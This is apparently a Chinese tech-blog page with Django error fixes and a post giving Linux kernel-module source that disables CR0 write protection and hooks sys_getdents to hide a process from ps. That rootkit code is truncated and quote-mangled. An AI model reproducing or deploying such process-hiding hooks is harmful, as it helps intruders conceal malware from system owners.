        recompile(line)
    f.close

def recompile(recompile):
    text=recompile
    dist={}
    p=0
    list_lines=[(r'[a-zA-Z]{3}\s\d+\s\d+:\d+:\d+’),(r’[a-zA-Z]{9}\s[a-zA-Z]{4}\[\d+\]‘)]
    for i in list_lines:
        dist[p]=re.compile(i).findall(text)
        if dist[p]!=”:
             p+=1
             if p==2:
                print dist[0],dist[1]
def main():
    flog=sorted(glob.glob(r’c:\*.txt’))
    for txt in flog:
        openfile(txt)

       
if __name__==”__main__”:
    main()

五月 10, 2011

TypeError: __init__() got an unexpected keyword argument ‘maxlength

Filed under: python — admin @ 1:47 下午

TypeError: __init__() got an unexpected keyword argument ‘maxlength

然后在执行manage.py syncdb的时候又开始报错:
TypeError: __init__() got an unexpected keyword argument ‘maxlength’
查看了一下源码Python25\Lib\site-packages\django\forms\fields.py    的CharField类,发现__init__里面那个参数原来是max_length
而不是maxlength,limodou大范了次笔误呵呵。
以上便是学习Django途中的一点小小的经验,希望对碰到类似问题的朋友有所帮助

转载注明(LINUXQQ)

五月 6, 2011

DeprecationWarning: Short names for ENGINE in database configurations are deprecated. Prepend default.ENGINE with ‘django.db.backends

Filed under: python — admin @ 1:01 下午

DeprecationWarning: Short names for ENGINE in database configurations are deprecated. Prepend default.ENGINE with ‘django.db.backend 出错

解决办法是

在settings.py中DATABASE的配置中,有一个叫ENGINE的,在1.2以前的版本中,用的是短名称,比如 “mysql”、”sqlite”、“oracle”等等,1.3版本以后,需要写一个全名,这个东东在官网上可以查到,比如mysql应该写成 “django.db.backends.mysql”

转载注明(LINUXQQ)

四月 30, 2011

linux 隐藏进程

Filed under: linux — admin @ 3:15 下午

改天空了研究下 先记录上网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

  1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.

  unsigned int clear_and_return_cr0(void);

  void setback_cr0(unsigned int val);

  2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

  测试环境: ubuntu9.04 内核版本2.6.28

  模块代码如下:

  /*hideps.c*/

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <asm/unistd.h>

  #include <linux/types.h>

  #include <linux/sched.h>

  #include <linux/dirent.h>

  #include <linux/string.h>

  #include <linux/file.h>

  #include <linux/fs.h>

  #include <linux/list.h>

  #include <asm/uaccess.h>

  #include <linux/unistd.h>

  //#include <sys/stat.h>

  //#include <fcntl.h>

  #define CALLOFF 100

  //使用模块参数来定义需要隐藏的进程名

  int orig_cr0;

  char psname[10]=”looptest”;

  char *processname=psname;

  //module_param(processname, charp, 0);

  struct {

  unsigned short limit;

  unsigned int base;

  } __attribute__ ((packed)) idtr;

  struct {

  unsigned short off1;

  unsigned short sel;

  unsigned char none,flags;

  unsigned short off2;

  } __attribute__ ((packed)) * idt;

  struct linux_dirent{

  unsigned long     d_ino;

  unsigned long     d_off;

  unsigned short    d_reclen;

  char    d_name[1];

  };

  void** sys_call_table;

  unsigned int clear_and_return_cr0(void)

  {

  unsigned int cr0 = 0;

  unsigned int ret;

  asm volatile (“movl %%cr0, %%eax”

  : “=a”(cr0)

  );

  ret = cr0;

  /*clear the 20th bit of CR0,*/

  cr0 &= 0xfffeffff;

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(cr0)

  );

  return ret;

  }

  void setback_cr0(unsigned int val)

  {

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(val)

  );

  }

  asmlinkage long (*orig_getdents)(unsigned int fd,

  struct linux_dirent __user *dirp, unsigned int count);

  char * findoffset(char *start)

  {

  char *p;

  for (p = start; p < start + CALLOFF; p++)

  if (*(p + 0) == ‘\xff’ && *(p + 1) == ‘\x14′ && *(p + 2) == ‘\x85′)

  return p;

  return NULL;

  }

  int myatoi(char *str)

  {

  int res = 0;

  int mul = 1;

  char *ptr;

  for (ptr = str + strlen(str) – 1; ptr >= str; ptr–)

  {

  if (*ptr < ’0′ || *ptr > ’9′)

  return (-1);

  res += (*ptr – ’0′) * mul;

  mul *= 10;

  }

  if(res>0 && res< 9999)

  printk(KERN_INFO “pid=%d,”,res);

  printk(“\n”);

  return (res);

  }

  struct task_struct *get_task(pid_t pid)

  {

  struct task_struct *p = get_current(),*entry=NULL;

  list_for_each_entry(entry,&(p->tasks),tasks)

  {

  if(entry->pid == pid)

  {

  printk(“pid found=%d\n”,entry->pid);

  return entry;

  }

  else

  {

  //    printk(KERN_INFO “pid=%d not found\n”,pid);

  }

  }

  return NULL;

  }

  static inline char *get_name(struct task_struct *p, char *buf)

  {

  int i;

  char *name;

  name = p->comm;

  i = sizeof(p->comm);

  do {

  unsigned char c = *name;

  name++;

  i–;

  *buf = c;

  if (!c)

  break;

  if (c == ‘\\’) {

  buf[1] = c;

  buf += 2;

  continue;

  }

  if (c == ‘\n’)

« Newer PostsOlder Posts »

Powered by LINUXQQ   ICP 10203065